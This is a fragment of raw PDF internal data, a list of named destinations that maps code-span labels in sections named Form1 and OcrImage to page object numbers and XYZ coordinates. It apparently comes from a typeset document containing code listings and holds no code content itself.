(Code/Form1/:__span-0-361) [ 1543 0 R /XYZ 60.307257 302.011302 0 ] (Code/Form1/:__span-0-362) [ 1543 0 R /XYZ 60.307257 288.610950 0 ] (Code/Form1/:__span-0-363) [ 1543 0 R /XYZ 60.307257 275.210598 0 ] (Code/Form1/:__span-0-364) [ 1543 0 R /XYZ 60.307257 261.810246 0 ] (Code/Form1/:__span-0-365) [ 1543 0 R /XYZ 60.307257 235.009542 0 ] (Code/Form1/:__span-0-366) [ 1543 0 R /XYZ 60.307257 221.609190 0 ] (Code/Form1/:__span-0-367) [ 1543 0 R /XYZ 60.307257 208.208838 0 ] (Code/Form1/:__span-0-368) [ 1543 0 R /XYZ 60.307257 194.808486 0 ] (Code/Form1/:__span-0-369) [ 1543 0 R /XYZ 60.307257 168.007782 0 ] (Code/Form1/:__span-0-37) [ 1529 0 R /XYZ 60.307257 225.222750 0 ] (Code/Form1/:__span-0-370) [ 1543 0 R /XYZ 60.307257 154.607430 0 ] (Code/Form1/:__span-0-371) [ 1543 0 R /XYZ 60.307257 141.207078 0 ] (Code/Form1/:__span-0-372) [ 1543 0 R /XYZ 60.307257 127.806726 0 ] (Code/Form1/:__span-0-373) [ 1543 0 R /XYZ 60.307257 114.406374 0 ] (Code/Form1/:__span-0-374) [ 1543 0 R /XYZ 60.307257 101.006022 0 ] (Code/Form1/:__span-0-375) [ 1543 0 R /XYZ 60.307257 87.605670 0 ] (Code/Form1/:__span-0-376) [ 1545 0 R /XYZ 60.307257 771.023622 0 ] (Code/Form1/:__span-0-377) [ 1545 0 R /XYZ 60.307257 757.623270 0 ] (Code/Form1/:__span-0-378) [ 1545 0 R /XYZ 60.307257 744.222918 0 ] (Code/Form1/:__span-0-379) [ 1545 0 R /XYZ 60.307257 730.822566 0 ] (Code/Form1/:__span-0-38) [ 1529 0 R /XYZ 60.307257 211.822398 0 ] (Code/Form1/:__span-0-380) [ 1545 0 R /XYZ 60.307257 717.422214 0 ] (Code/Form1/:__span-0-381) [ 1545 0 R /XYZ 60.307257 690.621510 0 ] (Code/Form1/:__span-0-382) [ 1545 0 R /XYZ 60.307257 677.221158 0 ] (Code/Form1/:__span-0-383) [ 1545 0 R /XYZ 60.307257 663.820806 0 ] (Code/Form1/:__span-0-384) [ 1545 0 R /XYZ 60.307257 650.420454 0 ] (Code/Form1/:__span-0-385) [ 1545 0 R /XYZ 60.307257 637.020102 0 ] (Code/Form1/:__span-0-386) [ 1545 0 R /XYZ 60.307257 623.619750 0 ] (Code/Form1/:__span-0-387) [ 1545 0 R /XYZ 60.307257 610.219398 0 ] (Code/Form1/:__span-0-388) [ 1545 0 R /XYZ 60.307257 596.819046 0 ] (Code/Form1/:__span-0-389) [ 1545 0 R /XYZ 60.307257 583.418694 0 ] (Code/Form1/:__span-0-39) [ 1529 0 R /XYZ 60.307257 198.422046 0 ] (Code/Form1/:__span-0-390) [ 1545 0 R /XYZ 60.307257 556.617990 0 ] (Code/Form1/:__span-0-391) [ 1545 0 R /XYZ 60.307257 543.217638 0 ] (Code/Form1/:__span-0-392) [ 1545 0 R /XYZ 60.307257 529.817286 0 ] (Code/Form1/:__span-0-393) [ 1545 0 R /XYZ 60.307257 516.416934 0 ] (Code/Form1/:__span-0-394) [ 1545 0 R /XYZ 60.307257 503.016582 0 ] (Code/Form1/:__span-0-395) [ 1545 0 R /XYZ 60.307257 489.616230 0 ] (Code/Form1/:__span-0-396) [ 1545 0 R /XYZ 60.307257 476.215878 0 ] (Code/Form1/:__span-0-397) [ 1545 0 R /XYZ 60.307257 462.815526 0 ] (Code/Form1/:__span-0-398) [ 1545 0 R /XYZ 60.307257 449.415174 0 ] (Code/Form1/:__span-0-399) [ 1545 0 R /XYZ 60.307257 422.614470 0 ] (Code/Form1/:__span-0-4) [ 1529 0 R /XYZ 60.307257 667.434366 0 ] (Code/Form1/:__span-0-40) [ 1529 0 R /XYZ 60.307257 185.021694 0 ] (Code/Form1/:__span-0-400) [ 1545 0 R /XYZ 60.307257 395.813766 0 ] (Code/Form1/:__span-0-401) [ 1545 0 R /XYZ 60.307257 382.413414 0 ] (Code/Form1/:__span-0-402) [ 1545 0 R /XYZ 60.307257 355.612710 0 ] (Code/Form1/:__span-0-403) [ 1545 0 R /XYZ 60.307257 342.212358 0 ] (Code/Form1/:__span-0-404) [ 1545 0 R /XYZ 60.307257 315.411654 0 ] (Code/Form1/:__span-0-405) [ 1545 0 R /XYZ 60.307257 288.610950 0 ] (Code/Form1/:__span-0-406) [ 1545 0 R /XYZ 60.307257 275.210598 0 ] (Code/Form1/:__span-0-407) [ 1545 0 R /XYZ 60.307257 248.409894 0 ] (Code/Form1/:__span-0-408) [ 1545 0 R /XYZ 60.307257 221.609190 0 ] (Code/Form1/:__span-0-409) [ 1545 0 R /XYZ 60.307257 208.208838 0 ] (Code/Form1/:__span-0-41) [ 1529 0 R /XYZ 60.307257 171.621342 0 ] (Code/Form1/:__span-0-410) [ 1545 0 R /XYZ 60.307257 181.408134 0 ] (Code/Form1/:__span-0-411) [ 1545 0 R /XYZ 60.307257 168.007782 0 ] (Code/Form1/:__span-0-412) [ 1545 0 R /XYZ 60.307257 141.207078 0 ] (Code/Form1/:__span-0-413) [ 1545 0 R /XYZ 60.307257 114.406374 0 ] (Code/Form1/:__span-0-414) [ 1545 0 R /XYZ 60.307257 101.006022 0 ] (Code/Form1/:__span-0-415) [ 1547 0 R /XYZ 60.307257 771.023622 0 ] (Code/Form1/:__span-0-416) [ 1547 0 R /XYZ 60.307257 744.222918 0 ] (Code/Form1/:__span-0-417) [ 1547 0 R /XYZ 60.307257 730.822566 0 ] (Code/Form1/:__span-0-418) [ 1547 0 R /XYZ 60.307257 704.021862 0 ] (Code/Form1/:__span-0-419) [ 1547 0 R /XYZ 60.307257 690.621510 0 ] (Code/Form1/:__span-0-42) [ 1529 0 R /XYZ 60.307257 158.220990 0 ] (Code/Form1/:__span-0-420) [ 1547 0 R /XYZ 60.307257 663.820806 0 ] (Code/Form1/:__span-0-421) [ 1547 0 R /XYZ 60.307257 650.420454 0 ] (Code/Form1/:__span-0-422) [ 1547 0 R /XYZ 60.307257 637.020102 0 ] (Code/Form1/:__span-0-43) [ 1529 0 R /XYZ 60.307257 144.820638 0 ] (Code/Form1/:__span-0-44) [ 1529 0 R /XYZ 60.307257 131.420286 0 ] (Code/Form1/:__span-0-45) [ 1529 0 R /XYZ 60.307257 118.019934 0 ] (Code/Form1/:__span-0-46) [ 1529 0 R /XYZ 60.307257 104.619582 0 ] (Code/Form1/:__span-0-47) [ 1529 0 R /XYZ 60.307257 91.219230 0 ] (Code/Form1/:__span-0-48) [ 1531 0 R /XYZ 60.307257 771.023622 0 ] (Code/Form1/:__span-0-49) [ 1531 0 R /XYZ 60.307257 757.623270 0 ] (Code/Form1/:__span-0-5) [ 1529 0 R /XYZ 60.307257 654.034014 0 ] (Code/Form1/:__span-0-50) [ 1531 0 R /XYZ 60.307257 744.222918 0 ] (Code/Form1/:__span-0-51) [ 1531 0 R /XYZ 60.307257 730.822566 0 ] (Code/Form1/:__span-0-52) [ 1531 0 R /XYZ 60.307257 717.422214 0 ] (Code/Form1/:__span-0-53) [ 1531 0 R /XYZ 60.307257 704.021862 0 ] (Code/Form1/:__span-0-54) [ 1531 0 R /XYZ 60.307257 690.621510 0 ] (Code/Form1/:__span-0-55) [ 1531 0 R /XYZ 60.307257 677.221158 0 ] (Code/Form1/:__span-0-56) [ 1531 0 R /XYZ 60.307257 650.420454 0 ] (Code/Form1/:__span-0-57) [ 1531 0 R /XYZ 60.307257 637.020102 0 ] (Code/Form1/:__span-0-58) [ 1531 0 R /XYZ 60.307257 623.619750 0 ] (Code/Form1/:__span-0-59) [ 1531 0 R /XYZ 60.307257 610.219398 0 ] (Code/Form1/:__span-0-6) [ 1529 0 R /XYZ 60.307257 640.633662 0 ] (Code/Form1/:__span-0-60) [ 1531 0 R /XYZ 60.307257 596.819046 0 ] (Code/Form1/:__span-0-61) [ 1531 0 R /XYZ 60.307257 583.418694 0 ] (Code/Form1/:__span-0-62) [ 1531 0 R /XYZ 60.307257 570.018342 0 ] (Code/Form1/:__span-0-63) [ 1531 0 R /XYZ 60.307257 556.617990 0 ] (Code/Form1/:__span-0-64) [ 1531 0 R /XYZ 60.307257 543.217638 0 ] (Code/Form1/:__span-0-65) [ 1531 0 R /XYZ 60.307257 529.817286 0 ] (Code/Form1/:__span-0-66) [ 1531 0 R /XYZ 60.307257 516.416934 0 ] (Code/Form1/:__span-0-67) [ 1531 0 R /XYZ 60.307257 503.016582 0 ] (Code/Form1/:__span-0-68) [ 1531 0 R /XYZ 60.307257 489.616230 0 ] (Code/Form1/:__span-0-69) [ 1531 0 R /XYZ 60.307257 476.215878 0 ] (Code/Form1/:__span-0-7) [ 1529 0 R /XYZ 60.307257 627.233310 0 ] (Code/Form1/:__span-0-70) [ 1531 0 R /XYZ 60.307257 462.815526 0 ] (Code/Form1/:__span-0-71) [ 1531 0 R /XYZ 60.307257 449.415174 0 ] (Code/Form1/:__span-0-72) [ 1531 0 R /XYZ 60.307257 436.014822 0 ] (Code/Form1/:__span-0-73) [ 1531 0 R /XYZ 60.307257 422.614470 0 ] (Code/Form1/:__span-0-74) [ 1531 0 R /XYZ 60.307257 409.214118 0 ] (Code/Form1/:__span-0-75) [ 1531 0 R /XYZ 60.307257 395.813766 0 ] (Code/Form1/:__span-0-76) [ 1531 0 R /XYZ 60.307257 369.013062 0 ] (Code/Form1/:__span-0-77) [ 1531 0 R /XYZ 60.307257 342.212358 0 ] (Code/Form1/:__span-0-78) [ 1531 0 R /XYZ 60.307257 328.812006 0 ] (Code/Form1/:__span-0-79) [ 1531 0 R /XYZ 60.307257 315.411654 0 ] (Code/Form1/:__span-0-8) [ 1529 0 R /XYZ 60.307257 613.832958 0 ] (Code/Form1/:__span-0-80) [ 1531 0 R /XYZ 60.307257 302.011302 0 ] (Code/Form1/:__span-0-81) [ 1531 0 R /XYZ 60.307257 288.610950 0 ] (Code/Form1/:__span-0-82) [ 1531 0 R /XYZ 60.307257 275.210598 0 ] (Code/Form1/:__span-0-83) [ 1531 0 R /XYZ 60.307257 261.810246 0 ] (Code/Form1/:__span-0-84) [ 1531 0 R /XYZ 60.307257 248.409894 0 ] (Code/Form1/:__span-0-85) [ 1531 0 R /XYZ 60.307257 235.009542 0 ] (Code/Form1/:__span-0-86) [ 1531 0 R /XYZ 60.307257 221.609190 0 ] (Code/Form1/:__span-0-87) [ 1531 0 R /XYZ 60.307257 208.208838 0 ] (Code/Form1/:__span-0-88) [ 1531 0 R /XYZ 60.307257 194.808486 0 ] (Code/Form1/:__span-0-89) [ 1531 0 R /XYZ 60.307257 181.408134 0 ] (Code/Form1/:__span-0-9) [ 1529 0 R /XYZ 60.307257 600.432606 0 ] (Code/Form1/:__span-0-90) [ 1531 0 R /XYZ 60.307257 168.007782 0 ] (Code/Form1/:__span-0-91) [ 1531 0 R /XYZ 60.307257 154.607430 0 ] (Code/Form1/:__span-0-92) [ 1531 0 R /XYZ 60.307257 127.806726 0 ] (Code/Form1/:__span-0-93) [ 1531 0 R /XYZ 60.307257 114.406374 0 ] (Code/Form1/:__span-0-94) [ 1531 0 R /XYZ 60.307257 101.006022 0 ] (Code/Form1/:__span-0-95) [ 1531 0 R /XYZ 60.307257 87.605670 0 ] (Code/Form1/:__span-0-96) [ 1533 0 R /XYZ 60.307257 771.023622 0 ] (Code/Form1/:__span-0-97) [ 1533 0 R /XYZ 60.307257 744.222918 0 ] (Code/Form1/:__span-0-98) [ 1533 0 R /XYZ 60.307257 717.422214 0 ] (Code/Form1/:__span-0-99) [ 1533 0 R /XYZ 60.307257 704.021862 0 ] (Code/Form1/:form1cs) [ 1529 0 R /XYZ 39.386457 747.563622 0 ] (Code/OcrImage/:) [ 1633 0 R /XYZ 39.386457 747.563622 0 ] (Code/OcrImage/:__span-0-1) [ 1633 0 R /XYZ 60.307257 707.635422 0 ] (Code/OcrImage/:__span-0-10) [ 1633 0 R /XYZ 60.307257 587.032254 0 ] (Code/OcrImage/:__span-0-100) [ 1637 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-101) [ 1637 0 R /XYZ 60.307257 489.616230 0 ] (Code/OcrImage/:__span-0-102) [ 1637 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-103) [ 1637 0 R /XYZ 60.307257 462.815526 0 ] (Code/OcrImage/:__span-0-104) [ 1637 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-105) [ 1637 0 R /XYZ 60.307257 436.014822 0 ] (Code/OcrImage/:__span-0-106) [ 1637 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-107) [ 1637 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-108) [ 1637 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-109) [ 1637 0 R /XYZ 60.307257 382.413414 0 ] (Code/OcrImage/:__span-0-11) [ 1633 0 R /XYZ 60.307257 573.631902 0 ] (Code/OcrImage/:__span-0-110) [ 1637 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-111) [ 1637 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-112) [ 1637 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-113) [ 1637 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-114) [ 1637 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-115) [ 1637 0 R /XYZ 60.307257 261.810246 0 ] (Code/OcrImage/:__span-0-116) [ 1637 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-117) [ 1637 0 R /XYZ 60.307257 235.009542 0 ] (Code/OcrImage/:__span-0-118) [ 1637 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-119) [ 1637 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-12) [ 1633 0 R /XYZ 60.307257 560.231550 0 ] (Code/OcrImage/:__span-0-120) [ 1637 0 R /XYZ 60.307257 194.808486 0 ] (Code/OcrImage/:__span-0-121) [ 1637 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-122) [ 1637 0 R /XYZ 60.307257 168.007782 0 ] (Code/OcrImage/:__span-0-123) [ 1637 0 R /XYZ 60.307257 154.607430 0 ] (Code/OcrImage/:__span-0-124) [ 1637 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-125) [ 1637 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-126) [ 1637 0 R /XYZ 60.307257 114.406374 0 ] (Code/OcrImage/:__span-0-127) [ 1637 0 R /XYZ 60.307257 101.006022 0 ] (Code/OcrImage/:__span-0-128) [ 1637 0 R /XYZ 60.307257 87.605670 0 ] (Code/OcrImage/:__span-0-129) [ 1639 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-13) [ 1633 0 R /XYZ 60.307257 546.831198 0 ] (Code/OcrImage/:__span-0-130) [ 1639 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-131) [ 1639 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-132) [ 1639 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-133) [ 1639 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-134) [ 1639 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-135) [ 1639 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-136) [ 1639 0 R /XYZ 60.307257 650.420454 0 ] (Code/OcrImage/:__span-0-137) [ 1639 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-138) [ 1639 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-139) [ 1639 0 R /XYZ 60.307257 610.219398 0 ] (Code/OcrImage/:__span-0-14) [ 1633 0 R /XYZ 60.307257 533.430846 0 ] (Code/OcrImage/:__span-0-140) [ 1639 0 R /XYZ 60.307257 596.819046 0 ] (Code/OcrImage/:__span-0-141) [ 1639 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-142) [ 1639 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-143) [ 1639 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-144) [ 1639 0 R /XYZ 60.307257 543.217638 0 ] (Code/OcrImage/:__span-0-145) [ 1639 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-146) [ 1639 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-147) [ 1639 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-148) [ 1639 0 R /XYZ 60.307257 489.616230 0 ] (Code/OcrImage/:__span-0-149) [ 1639 0 R /XYZ 60.307257 462.815526 0 ] (Code/OcrImage/:__span-0-15) [ 1633 0 R /XYZ 60.307257 520.030494 0 ] (Code/OcrImage/:__span-0-150) [ 1639 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-151) [ 1639 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-152) [ 1639 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-153) [ 1639 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-154) [ 1639 0 R /XYZ 60.307257 382.413414 0 ] (Code/OcrImage/:__span-0-155) [ 1639 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-156) [ 1639 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-157) [ 1639 0 R /XYZ 60.307257 328.812006 0 ] (Code/OcrImage/:__span-0-158) [ 1639 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-159) [ 1639 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-16) [ 1633 0 R /XYZ 60.307257 506.630142 0 ] (Code/OcrImage/:__span-0-160) [ 1639 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-161) [ 1639 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-162) [ 1639 0 R /XYZ 60.307257 261.810246 0 ] (Code/OcrImage/:__span-0-163) [ 1639 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-164) [ 1639 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-165) [ 1639 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-166) [ 1639 0 R /XYZ 60.307257 194.808486 0 ] (Code/OcrImage/:__span-0-167) [ 1639 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-168) [ 1639 0 R /XYZ 60.307257 168.007782 0 ] (Code/OcrImage/:__span-0-169) [ 1639 0 R /XYZ 60.307257 154.607430 0 ] (Code/OcrImage/:__span-0-17) [ 1633 0 R /XYZ 60.307257 493.229790 0 ] (Code/OcrImage/:__span-0-170) [ 1639 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-171) [ 1639 0 R /XYZ 60.307257 114.406374 0 ] (Code/OcrImage/:__span-0-172) [ 1639 0 R /XYZ 60.307257 101.006022 0 ] (Code/OcrImage/:__span-0-173) [ 1639 0 R /XYZ 60.307257 87.605670 0 ] (Code/OcrImage/:__span-0-174) [ 1641 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-175) [ 1641 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-176) [ 1641 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-177) [ 1641 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-178) [ 1641 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-179) [ 1641 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-18) [ 1633 0 R /XYZ 60.307257 479.829438 0 ] (Code/OcrImage/:__span-0-180) [ 1641 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-181) [ 1641 0 R /XYZ 60.307257 650.420454 0 ] (Code/OcrImage/:__span-0-182) [ 1641 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-183) [ 1641 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-184) [ 1641 0 R /XYZ 60.307257 596.819046 0 ] (Code/OcrImage/:__span-0-185) [ 1641 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-186) [ 1641 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-187) [ 1641 0 R /XYZ 60.307257 543.217638 0 ] (Code/OcrImage/:__span-0-188) [ 1641 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-189) [ 1641 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-19) [ 1633 0 R /XYZ 60.307257 453.028734 0 ] (Code/OcrImage/:__span-0-190) [ 1641 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-191) [ 1641 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-192) [ 1641 0 R /XYZ 60.307257 462.815526 0 ] (Code/OcrImage/:__span-0-193) [ 1641 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-194) [ 1641 0 R /XYZ 60.307257 436.014822 0 ] (Code/OcrImage/:__span-0-195) [ 1641 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-196) [ 1641 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-197) [ 1641 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-198) [ 1641 0 R /XYZ 60.307257 382.413414 0 ] (Code/OcrImage/:__span-0-199) [ 1641 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-2) [ 1633 0 R /XYZ 60.307257 694.235070 0 ] (Code/OcrImage/:__span-0-20) [ 1633 0 R /XYZ 60.307257 426.228030 0 ] (Code/OcrImage/:__span-0-200) [ 1641 0 R /XYZ 60.307257 355.612710 0 ] (Code/OcrImage/:__span-0-201) [ 1641 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-202) [ 1641 0 R /XYZ 60.307257 328.812006 0 ] (Code/OcrImage/:__span-0-203) [ 1641 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-204) [ 1641 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-205) [ 1641 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-206) [ 1641 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-207) [ 1641 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-208) [ 1641 0 R /XYZ 60.307257 235.009542 0 ] (Code/OcrImage/:__span-0-209) [ 1641 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-21) [ 1633 0 R /XYZ 60.307257 399.427326 0 ] (Code/OcrImage/:__span-0-210) [ 1641 0 R /XYZ 60.307257 208.208838 0 ] (Code/OcrImage/:__span-0-211) [ 1641 0 R /XYZ 60.307257 194.808486 0 ] (Code/OcrImage/:__span-0-212) [ 1641 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-213) [ 1641 0 R /XYZ 60.307257 154.607430 0 ] (Code/OcrImage/:__span-0-214) [ 1641 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-215) [ 1641 0 R /XYZ 60.307257 101.006022 0 ] (Code/OcrImage/:__span-0-216) [ 1641 0 R /XYZ 60.307257 87.605670 0 ] (Code/OcrImage/:__span-0-217) [ 1643 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-218) [ 1643 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-219) [ 1643 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-22) [ 1633 0 R /XYZ 60.307257 386.026974 0 ] (Code/OcrImage/:__span-0-220) [ 1643 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-221) [ 1643 0 R /XYZ 60.307257 717.422214 0 ] (Code/OcrImage/:__span-0-222) [ 1643 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-223) [ 1643 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-224) [ 1643 0 R /XYZ 60.307257 677.221158 0 ] (Code/OcrImage/:__span-0-225) [ 1643 0 R /XYZ 60.307257 663.820806 0 ] (Code/OcrImage/:__span-0-226) [ 1643 0 R /XYZ 60.307257 650.420454 0 ] (Code/OcrImage/:__span-0-227) [ 1643 0 R /XYZ 60.307257 637.020102 0 ] (Code/OcrImage/:__span-0-228) [ 1643 0 R /XYZ 60.307257 623.619750 0 ] (Code/OcrImage/:__span-0-229) [ 1643 0 R /XYZ 60.307257 610.219398 0 ] (Code/OcrImage/:__span-0-23) [ 1633 0 R /XYZ 60.307257 372.626622 0 ] (Code/OcrImage/:__span-0-230) [ 1643 0 R /XYZ 60.307257 596.819046 0 ] (Code/OcrImage/:__span-0-231) [ 1643 0 R /XYZ 60.307257 583.418694 0 ] (Code/OcrImage/:__span-0-232) [ 1643 0 R /XYZ 60.307257 570.018342 0 ] (Code/OcrImage/:__span-0-233) [ 1643 0 R /XYZ 60.307257 556.617990 0 ] (Code/OcrImage/:__span-0-234) [ 1643 0 R /XYZ 60.307257 543.217638 0 ] (Code/OcrImage/:__span-0-235) [ 1643 0 R /XYZ 60.307257 529.817286 0 ] (Code/OcrImage/:__span-0-236) [ 1643 0 R /XYZ 60.307257 516.416934 0 ] (Code/OcrImage/:__span-0-237) [ 1643 0 R /XYZ 60.307257 503.016582 0 ] (Code/OcrImage/:__span-0-238) [ 1643 0 R /XYZ 60.307257 489.616230 0 ] (Code/OcrImage/:__span-0-239) [ 1643 0 R /XYZ 60.307257 476.215878 0 ] (Code/OcrImage/:__span-0-24) [ 1633 0 R /XYZ 60.307257 359.226270 0 ] (Code/OcrImage/:__span-0-240) [ 1643 0 R /XYZ 60.307257 462.815526 0 ] (Code/OcrImage/:__span-0-241) [ 1643 0 R /XYZ 60.307257 449.415174 0 ] (Code/OcrImage/:__span-0-242) [ 1643 0 R /XYZ 60.307257 436.014822 0 ] (Code/OcrImage/:__span-0-243) [ 1643 0 R /XYZ 60.307257 422.614470 0 ] (Code/OcrImage/:__span-0-244) [ 1643 0 R /XYZ 60.307257 409.214118 0 ] (Code/OcrImage/:__span-0-245) [ 1643 0 R /XYZ 60.307257 395.813766 0 ] (Code/OcrImage/:__span-0-246) [ 1643 0 R /XYZ 60.307257 382.413414 0 ] (Code/OcrImage/:__span-0-247) [ 1643 0 R /XYZ 60.307257 369.013062 0 ] (Code/OcrImage/:__span-0-248) [ 1643 0 R /XYZ 60.307257 342.212358 0 ] (Code/OcrImage/:__span-0-249) [ 1643 0 R /XYZ 60.307257 315.411654 0 ] (Code/OcrImage/:__span-0-25) [ 1633 0 R /XYZ 60.307257 345.825918 0 ] (Code/OcrImage/:__span-0-250) [ 1643 0 R /XYZ 60.307257 302.011302 0 ] (Code/OcrImage/:__span-0-251) [ 1643 0 R /XYZ 60.307257 288.610950 0 ] (Code/OcrImage/:__span-0-252) [ 1643 0 R /XYZ 60.307257 275.210598 0 ] (Code/OcrImage/:__span-0-253) [ 1643 0 R /XYZ 60.307257 248.409894 0 ] (Code/OcrImage/:__span-0-254) [ 1643 0 R /XYZ 60.307257 221.609190 0 ] (Code/OcrImage/:__span-0-255) [ 1643 0 R /XYZ 60.307257 194.808486 0 ] (Code/OcrImage/:__span-0-256) [ 1643 0 R /XYZ 60.307257 181.408134 0 ] (Code/OcrImage/:__span-0-257) [ 1643 0 R /XYZ 60.307257 168.007782 0 ] (Code/OcrImage/:__span-0-258) [ 1643 0 R /XYZ 60.307257 154.607430 0 ] (Code/OcrImage/:__span-0-259) [ 1643 0 R /XYZ 60.307257 141.207078 0 ] (Code/OcrImage/:__span-0-26) [ 1633 0 R /XYZ 60.307257 332.425566 0 ] (Code/OcrImage/:__span-0-260) [ 1643 0 R /XYZ 60.307257 127.806726 0 ] (Code/OcrImage/:__span-0-261) [ 1643 0 R /XYZ 60.307257 114.406374 0 ] (Code/OcrImage/:__span-0-262) [ 1643 0 R /XYZ 60.307257 101.006022 0 ] (Code/OcrImage/:__span-0-263) [ 1643 0 R /XYZ 60.307257 87.605670 0 ] (Code/OcrImage/:__span-0-264) [ 1645 0 R /XYZ 60.307257 771.023622 0 ] (Code/OcrImage/:__span-0-265) [ 1645 0 R /XYZ 60.307257 757.623270 0 ] (Code/OcrImage/:__span-0-266) [ 1645 0 R /XYZ 60.307257 744.222918 0 ] (Code/OcrImage/:__span-0-267) [ 1645 0 R /XYZ 60.307257 730.822566 0 ] (Code/OcrImage/:__span-0-268) [ 1645 0 R /XYZ 60.307257 717.422214 0 ] (Code/OcrImage/:__span-0-269) [ 1645 0 R /XYZ 60.307257 704.021862 0 ] (Code/OcrImage/:__span-0-27) [ 1633 0 R /XYZ 60.307257 319.025214 0 ] (Code/OcrImage/:__span-0-270) [ 1645 0 R /XYZ 60.307257 690.621510 0 ] (Code/OcrImage/:__span-0-271) [ 1645 0 R /XYZ 60.307257 677.221158 